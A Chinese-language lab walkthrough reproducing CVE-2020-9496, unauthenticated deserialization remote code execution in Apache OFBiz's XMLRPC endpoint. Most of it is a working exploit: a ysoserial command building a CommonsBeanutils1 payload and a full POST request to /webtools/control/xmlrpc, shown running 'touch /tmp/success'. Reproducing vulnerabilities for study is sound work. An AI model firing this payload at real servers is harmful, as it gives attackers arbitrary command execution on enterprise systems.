ApacheOfBiz 中 XMLRPC 参数的不安全反序列化 (CVE-2020-9496)

ApacheOfBiz 中 XMLRPC 参数的不安全反序列化 (CVE-2020-9496)

Apache OFBiz 是一个开源的企业资源规划 (ERP) 系统。它提供了一套企业应用程序,可以集成和自动化企业的许多业务流程。

OfBiz 在 处公开一个 XMLRPC 端点/webtools/control/xmlrpc。这是一个未经身份验证的端点,因为身份验证是基于每个服务应用的。但是,XMLRPC 请求是在身份验证之前处理的。作为此处理的一部分,远程调用的任何序列化参数都被反序列化,因此如果类路径包含任何可用作实现远程代码执行的小工具的类,攻击者将能够在任何 OfBiz 服务器上运行任意系统命令与运行 OfBiz 的 servlet 容器具有相同的权限。

参考:

  1. https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz
  2. https://github.com/dwisiswant0/CVE-2020-9496
  3. https://www.cnblogs.com/ph4nt0mer/p/13576739.html

漏洞复现

看到登录页面https://192.168.44.132/myportal/control/main

image-20211115152222288

默认没有响应错误信息,我们无法使用参考链接2的POC重现该漏洞,因此请向ysoserial寻求帮助。

生成 CommonsBeanutils1 负载:

1
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"

image-20211115152819711

替换[base64-payload]并发送请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093

<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

image-20211116154144176

touch /tmp/success 在容器中成功执行:

image-20211116154208548

0%